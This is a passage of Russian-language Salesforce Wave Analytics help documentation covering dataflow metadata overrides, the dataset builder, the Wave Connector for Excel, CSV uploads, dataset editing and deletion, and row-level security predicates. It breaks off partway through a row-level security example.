Например, измените имя поля, извлеченного из объекта Salesforce, для отображения
другого имени в наборе данных. Чтобы переопределить метаданные, добавьте
переопределениявраздел «Схема» трансформациивфайлеопределенияпотокаданных.

Раздел «Схема» позволяет переопределять атрибуты метаданных только для одного
объекта.

Раздел «Схема» трансформации sfdcDigestнижесодержитпереопределенияметаданных.

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Name" },
{ "name": "Amount" }

]
},
"schema": {

"objects": [
{

"label":"Sales Opportunities",
"fields": [

{
"name": "Amount",
"label": "Opportunity Amount"

}
]

}
]

}
}

Атрибуты объектов

При необходимости переопределите перечисленные ниже атрибуты объектов.

ОписаниеТипАтрибут объекта

Отображаемое имя объекта. Может содержать не более 40 символов.Строкаlabel

Пример:

"label": "Sales Data"

Описание объекта. Длина данного поля не должна превышать
1 000 символов.

Строкаdescription
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ОписаниеТипАтрибут объекта

Добавьте описание для аннотирования объекта вфайле определения
потока данных. Данное описание не отображается для пользователей
в пользовательском интерфейсеWave Analytics.

Пример:

"description": "The SalesData object tracks basic
sales data."

Массив полей для данного объекта.Массивполя

Атрибуты полей

При необходимости переопределите атрибуты каждого указанного поля набора данных.

ОписаниеТипАтрибут поля

Имя поля в наборе данных. Определение поля, подлежащего переопределению.

Примеры:

Строкаname

"name": "Amount"

"name": "Role.Name"

Отображаемое имя поля. Данное поле может содержать не более 255 символов.Строкаlabel

Пример:

"label": "Opportunity Amount"

Описание поля. Длина данного поля не должна превышать 1 000 символов.Строкаdescription

Добавьте описание для аннотирования поля в файле определения потока данных.
Данное описаниене отображается для пользователей в пользовательскоминтерфейсе
Wave Analytics.

Пример:

"description": "The Amount field contains the opportunity
amount."

Определение поля, являющегося системным, и необходимости исключения из
результатов запроса.

ЛогическоеisSystemField

Пример:

"isSystemField": false

Формат отображения числового значения.

Примеры:

Строкаformat

"format": "$#,##0.00" (число)
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ОписаниеТипАтрибут поля

Дополнительную информацию о допустимыхформатах см. в подразделах «Форматы
чисел».

Форматы чисел

Пример типичного числового значения: $1,000,000.99. Данное значение использует формат «$#,##0.00». Пользователю
требуется задать точность и величину числа. Ниже перечислены символы, используемые для определения формата.

ЗначениеСимвол

Одна цифра0

Ноль или одна цифра#

Данный символ является стандартным десятичным разделителем. Рекомендуем
использоватьполе decimalSeparator для выборадругого символа в качестве
десятичного разделителя.

.

Знак минуса-

Группировочный разделитель,

Знак валюты$

Прим.: Формат числовых значенийне используется приприеме данных. Ониспользуется только для определения
способаформатирования числовых значенийприих отображении в пользовательскоминтерфейсе.Можно также
переопределять форматы дат.

Пример: Рассмотримпримерпереопределенияуказанныхнижеатрибутов, извлекаемыхпосредствомтрансформации
sfdcDigest из объекта Opportunity.

Изменения атрибутовОбъект/поле

Объект Opportunity • Изменение метки объекта на значение «Sales
Opportunities»

• Добавление описание объекта

Поле Id • Изменение метки поля на значение «Opportunity Id»

• Сокрытие поля из запросов

Поле Amount • Изменение метки поля на значение «Opportunity
Amount»

• Изменение формата на значение «$#,##0.00»

Поле CloseDate • Изменение метки поля на значение «Closing Date»
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Чтобы переопределить атрибуты, добавьте раздел «Схема» со значениями переопределения в трансформацию
sfdcDigest в файле определения потока данных.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
},
"schema": {

"objects": [
{

"label":"Sales Opportunities",
"description": "These are all sales opportunities.",
"fields": [

{
"name": "Id",
"label": "Opportunity Id",
"isSystemField": true

},
{

"name": "Amount",
"label": "Opportunity Amount",
"format": "$#,##0.00"

},
{

"name": "CloseDate",
"label": "Closing Date"

}
]

}
]

}
},
"Register_Dataset_Opportunities": {
"action": "sfdcRegister",
"parameters": {

"source": "Extract_Opportunities",
"alias": "Opportunities",
"name": "Opportunities"
}

}
}
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Создание набора данных посредством конструктора наборов данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к конструктору
наборов данных:
• “Изменение потока

данных Wave Analytics»

Рекомендуемиспользоватьконструкторнаборовданныхдлясозданияотдельногонабора
данныхнаоснове данныхизодногоилиболееобъектов Salesforce. Конструкторнаборов
данныхгенерируетидобавляетсвязанныйфайл JSON вфайлопределенияпотокаданных.
Набор данных создается при следующем выполнении потока данных. Данные,
используемые набором данных, обновляются при каждом выполнении потока данных.
Принеобходимостиотредактируйтефайл определенияпотока данных для добавления
трансформаций, управляющих набором данных.

1. Последовательнощелкните «Создать» > «Набор данных» на начальной странице
или странице приложения.

2. Щелкните значок «Salesforce».
Конструктор наборов данных открывает вкладку «Конструктор наборов данных».

3. Выберите нужный корневой объект.

Корневойобъект — этодочернийобъектнижнегоуровня, которыйможетбытьдобавленнахолст. Принеобходимости
добавьте родительские объекты для выбранного корневого объекта; дочерние объекты не могут быть добавлены.
Чтобы изменить корневой объект, обновите страницу и начните сначала.

4. Наведите указатель мыши на нужный корневой объект и щелкните значок .
Данное действие инициирует отображение диалогового окна «Выбрать поля». По умолчанию диалоговое окно
отображает вкладку «Поля», содержащую все доступные поля объекта для извлечения данных.
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Прим.: Принеобходимостипросмотрите данное диалоговое окно для любогообъекта, добавленногона холст.

5. Выберите нужные поля на вкладке «Поля».

Чтобы быстрее найти нужное поле, воспользуйтесь полем поиска, либо отсортируйте поля по имени или типу.

Важное замечание: Рекомендуем выбрать как минимум одно поле для каждого объекта, добавленного на холст.
Отсутствие полей препятствует выполнению потока данных.

6. Чтобы добавить связанные объекты на холст, щелкните «Присоединить» на вкладке «Взаимосвязи».
Добавление связанного объекта инициирует его отображение на холсте.
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7. Чтобы удалить связанный объект, щелкните «Удалить».

Внимание: Удаление связанного объекта инициирует удаление всех объектов, происходящих от связанного
объекта. Например, удаление объекта «Организация» ниже инициирует удаление ответвления, содержащего
объекты «Организация» и «Пользователь».

8. Выберите нужные поля для каждого связанного объекта.

9. Чтобы переместить всю диаграмму, выберите пустую область холста и перетащите диаграмму.

Перемещение диаграммы может требоваться для просмотра другого раздела диаграммы.

10. Чтобы просмотреть все объекты, добавленные на холст, нажмите кнопку .
Диалоговое окно «Выбранные объекты» отображает древовидную структуру всех объектов, добавленных на холст.
Корневой объект отображается вверху дерева.

При выборе объекта конструктор наборов данных фокусирует объект путем его перемещения в центр холста.

11. Чтобы просмотреть связанныйфайл JSON, нажмите кнопку .
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Присозданиинабора данныхконструкторнаборовданныхдобавляетфайл JSON вфайлопределенияпотока данных.

12. Нажмите кнопку «Создать набор данных».

13. Введите имя набора данных и выберите приложение, которое должно содержать набор данных.

Прим.: При вводе имени, которое уже используется другим набором данных, конструктор наборов данных
дополняетимясоздаваемогонабораданныхчислом. Например, привводеимени «Моивозможности» конструктор
наборов данных генерирует имя «Мои возможности1». Длина имени набора данных не может превышать
80 символов.

14. Нажмите кнопку «Создать».
Конструктор наборов данных добавляет базовый файл JSON в файл определения потока данных. Набор данных
создается при следующем выполнении потока данных. При необходимости запустите поток данных вручную для
незамедлительного создания набора данных.

Приложение Wave Connector для данных Excel
ПриложениеWave Connector от компании Salesforce позволяет упростить импорт данных из приложения Microsoft Excel
2013 вWave Analytics.

ПриложениеWave Connector доступно для настольного приложения Excel 2013 и приложения Excel Online продукта Office
365. ПриложениеWave Connector доступнопосредствоминтернет-магазина приложений Microsoft для Office или личного
каталогаприложенийорганизации. ПослеустановкиприложенияWave Connectorвыполнитеимпортданныхизприложения
Excel в систему Salesforce.

Установка приложения Wave Connector для Excel

Приложение Wave Connector предоставляет пользователям возможность быстрого и удобного импорта данных из
приложения Excel 2013 в Salesforce Wave Analytics.

Настройка Wave Connector для администраторов
В некоторых случаях требуется изменение параметров безопасности Salesforce для предоставления пользователям
возможности подключения к приложениюWave Connector.

СМ. ТАКЖЕ:

Установка приложения Wave Connector для Excel

Установка приложения Wave Connector для Excel

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта данных из
приложения Excel 2013 в
Wave Analytics:
• Загрузка внешних

данных вWave Analytics

Приложение Wave Connector предоставляет пользователям возможность быстрого и
удобного импорта данных из приложения Excel 2013 в Salesforce Wave Analytics.
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Прииспользованиинастольногоприложения Excel 2013 илипродукта Office 365 (приложение Excel интерактивнойверсии
Office) Wave Connector позволяет импортировать данные в Salesforce Wave Analytics. После установки приложенияWave
Connector выберите данные из Excel и нажмите кнопку «Отправить». Все остальное будет сделано приложениемWave
Connector путем импорта данных вWave Analytics и создания набора данных.

Прим.: Пользователиприложения Excel Online продукта Office 365.Администратордолженизменитьпараметры
безопасности Salesforce дляпредоставлениядоступа кприложениюWave Connector. Дополнительнуюинформацию
администраторы могут просмотреть в разделе «Настройка Wave Connector для администраторов» на странице 3851.

Ниже перечислены действия по установке приложения Wave Connector.

1. Откройте настольную или интерактивную версию приложения Excel.

2. Откройте вкладку «Вставка».

3. Щелкните «Приложения для Office».

4. Найдите и установите приложениеWave Connector.
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5. Чтобы открыть приложениеWave Connector, введите регистрационные данные Salesforce.

Если приложениеWave Connector не открывается, обратитесь к администратору Salesforce. Возможно, организация
использует настраиваемый домен, который должен быть настроен администратором для приложенияWave Connector
путем выполнения инструкций из раздела «Настройка Wave Connector для администраторов» на странице 3851.

ПослеустановкиприложенияWave Connector выполнитеинструкциивокнеWave Connectorдлясозданиянаборовданных
наосноведанных Excel. ОткрытиеприложенияWave Connectorинициируетавтоматическийвходпользователяв Salesforce
Wave Analytics. Чтобы получить полную информацию об использовании приложения, щелкните значок справкиWave
Connector.

СМ. ТАКЖЕ:

Настройка Wave Connector для администраторов

Настройка Wave Connector для администраторов
В некоторых случаях требуется изменение параметров безопасности Salesforce для предоставления пользователям
возможности подключения к приложениюWave Connector.

Приложение Wave Connector предоставляет пользователям возможность быстрого и удобного импорта данных из
приложения Excel 2013 в Salesforce Wave Analytics.Пользователинастольногоприложения Excel 2013 в стандартномдомене
Salesforce получают доступ к приложениюWave Connector посредством интернет-магазина приложений Microsoft для
Office без необходимости выполнения администраторами любой дополнительной настройки.

Прим.: Пользователи приложенияWave Connector.Описанные ниже действия могут быть выполнены только
администратором Salesforce. Пользователям следует просмотреть раздел «Установка приложения Wave Connector
для Excel» на странице 3849.

Необходимостьизмененияпараметровбезопасности Salesforce дляпредоставленияпользователямвозможностидоступа
к приложениюWave Connector обуславливается двумя обстоятельствами.

• Если организация содержит пользователей приложения Excel Online продукта Office 365:Администраторы

должныдобавить URL-адресвсписокразрешенных CORS дляпредоставленияпользователямвозможностиподключения
к приложению.

• Если организация создает настраиваемый домен Salesforce посредствомфункции «Мой домен»:
Администраторы должны загрузить настраиваемое описание приложенияWave Connector и создать каталог общих
сетевых ресурсов посредством Microsoft SharePoint. Данный алгоритм позволяет пользователям получать доступ к
приложениюWave Connector посредством личного каталога приложений, доступного только текущей организации.

Добавление URL-адреса приложения Wave Connector в список разрешенных CORS

Пользователям приложения Excel Online продукта Office 365 требуется изменение параметров Salesforce для получения
доступа к приложениюWave Connector. В противном случае, при запуске приложения пользователям отображается
сообщениеобошибке. Чтобыпредоставитьпользователямприложения Excel Online доступкприложениюWave Connector,
добавьте URL-адрес приложенияWave Connector в список разрешенных CORS на странице параметров безопасности.

1. Последовательно выберите пункты «Средства управления безопасностью» | «CORS» в меню «Настройка».

2. Нажмите кнопку «Создать».

3. Введите https://waveconnector.force.com в качестве шаблона URL-адреса происхождения.

3851

Интеграция данныхAnalytics

https://help.salesforce.com/HTViewHelpDoc?id=domain_name_overview.htm&language=en_US


Добавление доступа в описание приложения Wave Connector для настраиваемых доменов Salesforce

Пользователям приложенияWave Connector в настраиваемом домене Salesforce требуется настройка личного каталога
приложений для получения доступа к приложениюWave Connector.

1. Загрузите настраиваемое описание приложенияWave Connector по ссылке
https://waveconnector.force.com/analytics-excel-connector/manifest/MyManifest.apexp. Загрузка должна быть выполнена
автоматически.

2. Выполните инструкции на веб-узлеMSDN по созданию каталога общих сетевых ресурсов для настройки личного
каталога приложений SharePoint организации.
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Создание набора данных посредством внешних данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки внешних
данных:
• “Загрузка внешних

данных вWave Analytics

Чтобысоздатьнаборданных, загрузитевнешниеданныепосредствомпользовательского
интерфейса или интерфейса External Data API. При загрузке файла внешних данных (в
формате CSV-файла, сжатого или архивногофайла) рекомендуем также загрузитьфайл
метаданных. Файлметаданныхсодержитатрибутыметаданных, описывающиеструктуру
данных в файле внешних данных. При загрузке CSV-файла из пользовательского
интерфейсаWave Analytics автоматически генерирует файл метаданных для просмотра
и внесения изменений. При отсутствии файла метаданныхWave Analytics импортирует
все столбцыфайла внешних данных как измерения.

Совет:  Wave временно сохраняет загруженные файлы CSV и метаданных только
для обработки. После создания наборов данных Wave удаляет файлы. Если они
потребуются для дальнейшего использования, рекомендуется сделать копию.

Прежде чем загрузить файлы внешних данных, просмотрите требования к формату, а
такжепримеры CSV-файловифайловметаданных, вСправочномруководствепоформату
внешних данных.

Прим.: Рекомендуем также использовать External Data API для загрузки файлов
внешних данных. Используйте API для получения дополнительных функций,
например выполнения добавочного извлечения и осуществления операций
добавления, удаления, атакжеобновленияивставки. Дополнительнуюинформацию
об интерфейсе External Data API см. в Руководстве разработчика External Data API.

1. Последовательно выберите пункты «Создать» > «Набор данных» на начальной
странице или странице приложения.

2. Введите имя набора данных в поле «Имя набора данных».

Длина имени не может превышать 80 символов.

3. Чтобысоздатьнаборданныхвдругомприложении, изменитеприложениевраскрывающемсясписке «Приложение».

4. Щелкните «CSV».

5. Добавьте CSV-файл.
Последобавления CSV-файлаWave Analytics автоматическигенерируетидобавляетсоответствующийфайлметаданных.
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Прим.: При необходимости загрузите другой файл метаданных вместо созданного файла. При загрузке
собственного файла метаданных кнопка «Предварительный просмотр данных» недоступна.

6. Чтобы изменить атрибуты метаданных в созданномфайле метаданных, выполните указанные ниже действия.

a. Нажмите кнопку «Предварительный просмотр данных» для просмотра и изменения обязательных атрибутов
метаданных.

b. Щелкните имя столбца для его изменения. Имя столбца — это отображаемое имя в наборе данных. Длина имени
столбца не может превышать 40 символов.
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c. Чтобы изменить другие атрибуты, щелкните заголовок столбца.

При необходимости измените атрибуты только для столбцов меры и даты.

d. Чтобыприменитьизменения ко всемдругимстолбцам аналогичного типа данных, нажмите кнопку «Применить
ко всем столбцам <тип данных>».

e. Чтобы сохранить изменения метаданных в файле метаданных, нажмите кнопку «Отправить».

Прим.: При наличии ошибок кнопка «Отправить» отображается серым цветом.

f. Чтобы закрыть сообщение-подтверждение, нажмите кнопку «ОК».

g. Чтобы изменить дополнительные атрибуты метаданных, щелкните значок для загрузки, редактирования и
выгрузки файла метаданных.

7. Щелкните «Создать набор данных».
Файлы данных добавляются в очередь на загрузку. Обработка задания на загрузку данных может занять некоторое
время. Принеобходимости просмотрите текущий статус на странице отслеживания данных. При успешной загрузке
новый набор данных добавляется на начальную страницу или страницу приложения.
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8. Чтобы пропустить сообщение-подтверждение, щелкните «Продолжить».

Правила автоматического создания файла метаданных
При загрузке CSV-файла, соответствующего определенным требованиям, из пользовательского интерфейсаWave
Analytics автоматически генерирует файл метаданных.

Отслеживание загрузки внешних данных
При загрузке файла внешних данныхWave Analytics инициирует задание, загружающее данные в указанный набор
данных. Можноиспользоватьотслеживаниеданныхдляотслеживанияиустранениянеисправностейзадания загрузки.

Правила автоматического создания файла метаданных
Призагрузке CSV-файла, соответствующегоопределеннымтребованиям, изпользовательскогоинтерфейсаWave Analytics
автоматически генерирует файл метаданных.

Нижеперечисленытребования, которымдолженсоответствовать CSV-файлдляпредоставленияWave Analyticsвозможности
создания файла метаданных.

• Файл должен использовать формат CSV; сжатый или архивныйфайл не поддерживается.

• Файл должен содержать одну строку для заголовка столбца и как минимум одну запись.

• CSV-файл должен соответствовать всем требованиямWave Analytics, представленным в Справочном руководстве по
формату внешних данных.

Wave Analytics генерирует атрибуты метаданных для каждого столбца CSV-файла на основе первых 100 строк CSV-файла.
Wave Analytics использует правила ниже для преобразования имен столбцов CSV-файла в метки полей.

• Специальные символы и пробелы заменяются символами подчеркивания. Например, имя «Stage Name» заменяется
именем «Stage_Name».

• Последовательные символы подчеркивания заменяются одним символом подчеркивания, если имя столбца не
оканчивается компонентом «__c». Например, имя «stage*&name» заменяется именем «stage_name».

• Меткаполядополняетсяпрефиксом «X», еслипервымсимволомименистолбцаявляетсячисло. Например, имя «30Day»
заменяется именем «X30Day».

• Имя столбца, содержащее только специальные символы, заменяется словом «Column» иномером столбца. Например,
имя четвертого столбца «*&^*(&*(%» заменяется именем «Column4».

• Символы подчеркивания удаляются из начала и окончания метки поля.

• Меткаполя, соответствующаятекущейметке, заменяетсяпроизводнойинкрементированнойметкой. Например, метка
«X2» может заменяться метками «X21», «X22», «X23».

Совет: Принеобходимости загрузите созданныйфайлметаданных для изменения параметровметаданных, а затем
выгрузитеданныйфайлдляприменениявнесенныхизменений. Файлметаданныхможетбытьзагруженприсоздании
или редактировании набора данных.
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Отслеживание загрузки внешних данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
отслеживания данных:
• “«Редактирование

потоков данных Wave
Analytics», «Загрузка
внешних данных вWave
Analytics» или
«Управление Wave
Analytics»

При загрузке файла внешних данныхWave Analytics инициирует задание, загружающее
данные в указанный набор данных. Можно использовать отслеживание данных для
отслеживания и устранения неисправностей задания загрузки.

Представление заданий (1) страницы отслеживания данных отображает статус, время
началаипродолжительностькаждогозаданияпотокаданныхизагрузкивнешнихданных.
Отображает задания за последние 7 дней и хранит журналы на протяжении 30 дней.
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1. Чтобыоткрыть страницуотслеживанияданных, щелкните значокшестеренки ( ) вWave Analytics, а затемщелкните
«Отслеживание данных».
По умолчанию отображается представление заданий. Теперь представление заданий отображает задания потока
данных и загрузок. Представление заданий отображает имя каждого задания загрузки как: <имя_набора данных
upload flow>. Чтобы просмотреть полное имя, наведите указатель мыши на нужное задание.

Прим.: Для просмотра заданий загрузки внешних данных в представлении заданий выберитеПоказать в поле
«Загрузки файла» (2). Этот параметр установлен по умолчанию.

2. Чтобы просмотреть последний статус выполняемого задания, нажмите кнопку «Обновить задания» ( ).

Каждое задание может иметь один из следующих статусов.

Описание«Статус»

Задание находится в очереди на запуск.В очереди

Задание выполняется.Выполнение

Сбой задания.Сбой

Задание успешно выполнено.Успешно

Задание успешно выполнено, но некоторые строки не
удалось обработать.

Предупреждение

3. Чтобы просмотреть динамические сведения для задания, разверните узел задания (3).
Динамические сведения отображаются под заданием. Чтобы просмотреть информацию об обработанных строках,
прокрутите страницу вправо в разделе динамических сведений.

4. Для устранения неполадок задания, в котором не удалось обработать некоторые строки, просмотрите сообщение об
ошибке. Также нажмите кнопку загрузки (1) в разделе динамических сведений для загрузки журнала ошибок.

Прим.: Кнопка загрузки отображается только пользователю, загрузившему файл внешних данных.
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В журнале ошибок имеется список необработанных строк.

5. Для устранения неполадок невыполненного задания просмотрите сообщение об ошибке и динамические сведения.
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Редактирование набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования набора
данных:
• “Изменение потока

данных Wave Analytics»

Редактирование набора данных позволяет изменять имя набора данных, приложение,
предикатбезопасностиилифайлрасширенныхметаданных (XMD), связанныйснабором
данных. Редактирование наборов данных, созданных из файла внешних данных,
позволяет также загружать новый файл внешних данных или файл метаданных для
обновления данных или метаданных.

При добавлениифайла внешних данныхWave Analytics генерирует и добавляет
соответствующийфайл метаданных. Чтобы изменить метаданные, нажмите кнопку
«Предварительный просмотр данных» или загрузите и отредактируйте файл
метаданных. При необходимости загрузите собственныйфайл метаданных для
перезаписи созданного файла.

1. Откройте вкладку «Наборы данных» на начальной странице или странице
приложения.

2. Наведите указатель мыши на нужный набор данных и щелкните «Правка».

3. При необходимости настройте указанные ниже параметры.

ОписаниеПараметр

Чтобы изменить имя набора данных,
введите новое имя. Длина имени не
может превышать 80 символов.

Имя набора данных

Чтобы переместить набор данных в
другое приложение, выберите новое
приложение.

Приложение

Чтобы настроить форматирование
панелей мониторинга, связанных с

Добавить файл расширенных
метаданных (JSON)

наборомданных, выберитенужныйфайл
расширенных метаданных.

Дополнительную информацию о
файлах расширенных метаданных см. в
Справочном руководстве по расширенным
метаданным (XMD).

Чтобы заменить текущие данные из
набора данных данными из файла

Добавить файл внешних данных (CSV)

внешних данных, выберите нужный
файл внешних данных. Максимальный
размер файла составляет 500 Мб. При
необходимости загрузите CSV-файл,
сжатый или архивныйфайл.

Дополнительную информацию о
файлах внешних данных и файлах
метаданных см. в Справочном руководстве
по формату внешних данных.
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ОписаниеПараметр

Чтобыпереопределитьструктуруфайлавнешнихданных,
выберитенужныйфайлметаданных. Призагрузкенового

Добавить файл метаданных (JSON)

файла метаданных рекомендуем также загрузить
соответствующийфайл внешних данных.

Дополнительную информацию офайлах метаданных
см. в Справочном руководстве по формату внешних данных.

Чтобы применить параметры безопасности строки к
набору данных, добавьте предикат безопасности.

Предикат безопасности

Дополнительнуюинформациюопредикатахсм. вразделе
«Безопасность строки для наборов данных».

4. Призагрузкенового CSV-файланажмитекнопку «Предварительныйпросмотрданных»дляпросмотраиизменения
обязательных атрибутов метаданных.

При необходимости измените дополнительные атрибуты метаданных позже.

Прим.: При загрузке собственного файла метаданных кнопка «Предварительный просмотр данных»
недоступна.

Нажатие кнопки «Предварительный просмотр данных» инициирует отображение страницы предварительного
просмотра.

5. Для каждого столбца:

a. Щелкните имя столбца для его изменения. Имя столбца — это отображаемое имя в наборе данных. Длина имени
столбца не может превышать 40 символов.
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b. Чтобы изменить другие обязательные атрибуты, щелкните заголовок столбца.

При необходимости измените атрибуты только для столбцов меры и даты.

c. Чтобыприменитьизменения ко всемдругимстолбцам аналогичного типа данных, нажмите кнопку «Применить
ко всем столбцам <тип данных>».

6. Чтобы сохранить изменения метаданных на странице предварительного просмотра в файле метаданных, нажмите
кнопку «Отправить».

Прим.: При наличии ошибок кнопка «Отправить» отображается серым цветом.

7. Чтобы закрыть сообщение-подтверждение, нажмите кнопку «ОК».

8. Чтобы изменить дополнительные атрибуты метаданных, которые не отображаются на странице предварительного
просмотра, щелкните значок для загрузки, редактирования и выгрузки файла метаданных.

9. Щелкните «Обновить набор данных».

10. Чтобы пропустить сообщение-подтверждение, щелкните «Продолжить».
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Удаление набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления набора
данных:
• “Изменение потока

данных Wave Analytics»

Удалите ненужные наборы данных из личного или общедоступного приложения,
доступного как минимум для редактирования. Удаление наборов данных позволяет
систематизировать содержимоеипрепятствуетдостижениюограниченияорганизации
по количеству строк в зарегистрированных наборах данных.

При удалении набора данныхWave Analytics выполняет необратимое удаление набора
данных, но сохраняет соответствующие представления Lens и панели мониторинга,
ссылающиеся на этот набор данных. Представления Lens и панели мониторинга,
ссылающиеся на удаленный набор данных, будут недоступны. Компания salesforce.com
рекомендует удалять наборы данных только после удаления связанных представлений
Lens и панелей мониторинга.

Если трансформация потока данных (например, edgemart или sfdcRegister) ссылается на
набор данных, то набор данных может быть удален только после удаления ссылки.
Например, прежде чем удалить набор данных Opportunities, удалите трансформацию
sfdcRegister из фрагмента потока данных ниже.

{
...

"Register_Dataset": {
"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities"

}
},

...}

Внимание: Удаленный набор данных не может быть восстановлен.

1. Откройте вкладку «Наборы данных» на начальной странице или странице приложения.

2. Наведите указатель мыши на нужный набор данных и щелкните «Правка».

3. Щелкните «Удалить набор данных».
По возможностиWave Analytics отображает список всех представлений Lens и панелей мониторинга, ссылающихся
на набор данных и доступных для просмотра. После удаления набора данных все представления Lens и панели
мониторинга, ссылающиеся на набор данных, будут непригодны для использования.

4. Для подтверждения нажмите кнопку «Удалить безвозвратно».
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Безопасность строки для наборов данных
По умолчанию пользовательWave Analytics, имеющий доступ к набору данных, имеет доступ ко всем записям набора
данных. Темнеменее, чтобыограничить доступ к записям, примените безопасность строки к набору данных. Некоторые
записи могут содержать конфиденциальные данные, которые не должны быть общедоступными.

Чтобы применить безопасность строки, определите предикат для каждого нужного набора данных. Предикат — это
условие фильтра, определяющее доступ к записям набора данных на уровне строки.

Еслипользовательотправляет запрос вотношениинабораданных, использующегопредикат, тоWave Analyticsпроверяет
предикат для определения записей, доступных пользователю. Wave Analytics не возвращает записи, которые недоступны
пользователю.

Предикат может моделировать разные типы политик безопасности. Например, предикаты могут создаваться на основе:

• Ответственность за запись. Позволяет каждому пользователю просматривать только собственные записи.

• Доступность управления. Позволяет каждому пользователю просматривать записи, принадлежащие или
предоставленные их подчиненными на основе иерархии ролей.

• Сотрудничество в рабочей группе. Позволяет всем участникам рабочей группы (например, группа, работающая с
возможностями) просматривать записи, предоставленные рабочей группе.

• Комбинациядругихтребованийбезопасности. Например, предикатможетбытьопределеннаосновеиерархииролей,
рабочих групп и ответственности за запись Salesforce.

Используемый тип политики безопасности определяется порядком ограничения доступа к записям набора данных.

Внимание: Если набор данных не использует безопасность строки, то любой пользователь, имеющий доступ к
набору данных, может просматривать все записи набора данных.

Рекомендации по определению предиката для набора данных
Применение предиката к набору данных немного отличается от определения выражения предиката. Кроме того,
рекомендуем выбрать алгоритм зависимости предиката от содержимого набора данных и область определения
выражения предиката.

Пример безопасности строки на основе ответственности за запись
Рассмотрим пример создания набора данных на основе CSV-файла и последующего внедрения безопасности строки
на основе ответственности за запись. В данном примере требуется создать набор данных, содержащий контрольные
показатели продаж для ответственных за организации. Чтобы ограничить доступ для каждой записи набора данных,
рекомендуемсоздатьполитикубезопасности, позволяющуюкаждомупользователюпросматриватьтолькоконтрольные
показатели продаж для собственных организаций. Данный процесс состоит из нескольких этапов, описанных в
разделах ниже.

Пример безопасности строки на основе групп, работающих с возможностями
Рассмотрим пример создания набора данных на основе данных Salesforce и последующего внедрения безопасности
строки на основе группы, работающей с возможностями. В данном примере требуется создать набор данных,
содержащийтолько возможности, связанныесрабочей группой. Чтобыограничитьдоступдля каждой записинабора
данных, рекомендуемсоздатьполитикубезопасности, позволяющуюпросматривать возможность только участникам
рабочей группы. Данный процесс состоит из нескольких этапов, описанных в разделах ниже.
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Пример безопасности строки на основе иерархии ролей и ответственности за запись
Рассмотрим пример создания набора данных на основе данных Salesforce и последующего внедрения безопасности
строки на основе иерархии ролей Salesforce и ответственности за запись. В данном примере требуется создать набор
данных, содержащий все возможности. Чтобы ограничить доступ для каждой записи набора данных, рекомендуем
создатьполитикубезопасности, позволяющуюкаждомупользователюпросматриватьтолькособственныевозможности
или возможности, принадлежащие их подчиненным на основе иерархии ролей Salesforce. Данный процесс состоит
из нескольких этапов, описанных в разделах ниже.

СМ. ТАКЖЕ:

Трансформация sfdcRegister

Параметры sfdcRegister

Рекомендации по определению предиката для набора данных
Применение предиката к набору данных немного отличается от определения выражения предиката. Кроме того,
рекомендуемвыбрать алгоритмзависимостипредикатаот содержимогонабораданныхиобластьопределениявыражения
предиката.

Принеобходимостисоздайте выражениепредикатанаоснове содержимогонабораданных. Например, чтобыразрешить
каждому пользователю просмотр только собственных записей набора данных, создайте предикат на основе столбца
набораданных, содержащегоответственногодлякаждойзаписи. Принеобходимостизагрузитедополнительныеданные
в набор данных, требуемый предикатом.

Область, позволяющая определять предикат, может меняться.

• Чтобы применить предикат к набору данных, созданному из потока данных, добавьте предикат в поле
rowLevelSecurityFilter трансформации Register. Wave Analyticsприменяетпредикатприследующемвыполнениипотока
данных.

• Чтобы применить предикат к набору данных, созданному из файла внешних данных, определите предикат в поле
rowLevelSecurityFilterсвязанногофайламетаданных. Wave Analyticsприменяетпредикатпризагрузкефайламетаданных
и файла внешних данных. При наличии набора данных, созданного из файла внешних данных, воспользуйтесь
редактированием набора данных для применения или изменения предиката.

Пример безопасности строки на основе ответственности за запись
Рассмотрим пример создания набора данных на основе CSV-файла и последующего внедрения безопасности строки на
основе ответственности за запись. В данном примере требуется создать набор данных, содержащий контрольные
показатели продаж для ответственных за организации. Чтобы ограничить доступ для каждой записи набора данных,
рекомендуемсоздатьполитикубезопасности, позволяющуюкаждомупользователюпросматривать толькоконтрольные
показателипродаждля собственныхорганизаций. Данныйпроцесс состоитиз нескольких этапов, описанных в разделах
ниже.

Прим.: Несмотря на то, что данный пример рассматривает процесс применения предиката к набору данных,
созданному из CSV-файла, данная процедура может также применяться к набору данных, созданному из данных
Salesforce.

1. Определение данных для добавления в набор данных
Сначала определите данные, подлежащие добавлению в набор данных. В данном примере требуется создать набор
данных, содержащий все контрольные показатели продаж.
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2. Определение безопасности строки для набора данных
